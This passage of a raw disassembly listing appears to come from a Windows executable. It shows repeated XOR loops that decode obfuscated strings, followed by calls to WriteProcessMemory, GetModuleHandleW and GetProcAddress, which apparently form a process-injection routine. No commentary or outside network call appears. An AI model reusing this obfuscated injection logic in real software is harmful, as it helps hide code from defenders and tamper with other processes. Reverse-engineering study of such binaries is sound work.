psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a0]
xorps xmm2, xmm1
movd dword [rbp + 0x1a0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a4]
xorps xmm2, xmm1
movd dword [rbp + 0x1a4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a8]
xorps xmm2, xmm1
movd dword [rbp + 0x1a8], xmm2
movdqa xmm2, xmmword [0x1400d7380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ac]
xorps xmm2, xmm1
movd dword [rbp + 0x1ac], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14002b820
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0xe50]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe50]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xe50]
call fcn.140040140
mov r9, qword [rbp + 0x14f0]
lea r9, [r9*2 + 2]
lea rax, [rbp + 0x1530]
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rbp + 0x1370]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002bae3
lea rdx, [rbp + 0x1228]
call fcn.14002efa0
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x14002babb
cmp r15d, 2
jl 0x14002ba7e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov ebx, r13d
mov r8d, ebx
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jl 0x14002ba90
mov rcx, r9
call fcn.1400163d0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [str.nHRHXnM__07_b_3k]
movups xmmword [rbp + 0x868], xmm0
movsd xmm0, qword [0x1400d63d8]
movsd qword [rbp + 0x878], xmm0
mov eax, dword [0x1400d63e0]
mov dword [rbp + 0x880], eax
movzx eax, byte [0x1400d63e4]
mov byte [rbp + 0x884], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002bc2d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x868]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002bb40
cmp r8d, 0x1d
jge 0x14002bc6f
movsxd rax, r8d
lea r9, [rbp + 0x868]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14002bc40
lea rdx, [rbp + 0x868]
lea rcx, [rbp + 0xe70]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe70]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xe70]
call fcn.140040140
movups xmm4, xmmword [str.R_IRXR_fro__E]
movups xmmword [rbp + 0x548], xmm4
movq xmm5, qword [0x1400d54d0]
movq qword [rbp + 0x558], xmm5
movzx eax, word [0x1400d54d8]
mov word [rbp + 0x560], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14002be20
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x548], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x550]
xorps xmm3, xmm0
movq qword [rbp + 0x550], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x558], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x548]
lea r9, [r9 + rax*2]
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x14002be30
lea rcx, [rbp + 0x548]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14002c096
lea rdx, [rbp + 0x1218]
call fcn.14002efd0
mov r9, rax
cmp byte [rax + 0xf], 0
je 0x14002c06e
cmp r15d, 2
jl 0x14002c03e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
jmp 0x14002c06e
mov r8, r9
mov eax, 0x29e4129f
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x10
jl 0x14002c041
mov rcx, r9
call fcn.1400163d0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm2, xmmword [str._OqRZJ___n___h_n_9______R]
movups xmmword [rbp + 0x238], xmm2
movsd xmm0, qword [0x1400d52e8]
movsd qword [rbp + 0x248], xmm0
movzx eax, word [0x1400d52f0]
mov word [rbp + 0x250], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14002c35b
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x238], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x23c]
xorps xmm2, xmm1
movd dword [rbp + 0x23c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x240]
xorps xmm2, xmm1
movd dword [rbp + 0x240], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x244]
xorps xmm2, xmm1
movd dword [rbp + 0x244], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x248]
xorps xmm2, xmm1
movd dword [rbp + 0x248], xmm2
movdqa xmm6, xmmword [0x1400d7380]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24c]
xorps xmm2, xmm1
movd dword [rbp + 0x24c], xmm2
mov r8d, Ordinal_27
jmp 0x14002c363
movdqa xmm6, xmmword [0x1400d7380]
mov eax, r8d
lea r9, [rbp + 0x238]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002c370
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0xf90]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf90]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xf90]
call fcn.140040140
movsd xmm0, qword [str.uUZXqW_2_0:]
movsd qword [rbp + 0x98], xmm0
mov ecx, dword [0x1400d6870]
mov dword [rbp + 0xa0], ecx
movzx eax, byte [0x1400d6874]
mov byte [rbp + 0xa4], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002c54d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uUZXqW_2_0:]
xorps xmm1, xmm0
movd dword [rbp + 0x98], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0xa0], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14002c560
lea rdx, [rbp + 0x98]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14002c763
lea rdx, [rbp + 0x1188]
call fcn.14002efe0
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x14002c73b
cmp r15d, 2
jl 0x14002c709
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
mov ebx, esi
mov r8d, ebx
add r8, r9
nop
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jl 0x14002c710
mov rcx, r9
call fcn.1400163d0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm2, xmmword [0x1400d5190]
movups xmmword [rbp + 0x178], xmm2
movsd xmm0, qword [0x1400d51a0]
movsd qword [rbp + 0x188], xmm0
movzx eax, byte [0x1400d51a8]
mov byte [rbp + 0x190], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002ca1d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x178], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x17c]
xorps xmm2, xmm1
movd dword [rbp + 0x17c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x180]
xorps xmm2, xmm1
movd dword [rbp + 0x180], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x184]
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x188]
xorps xmm2, xmm1
movd dword [rbp + 0x188], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18c]
xorps xmm2, xmm1
movd dword [rbp + 0x18c], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
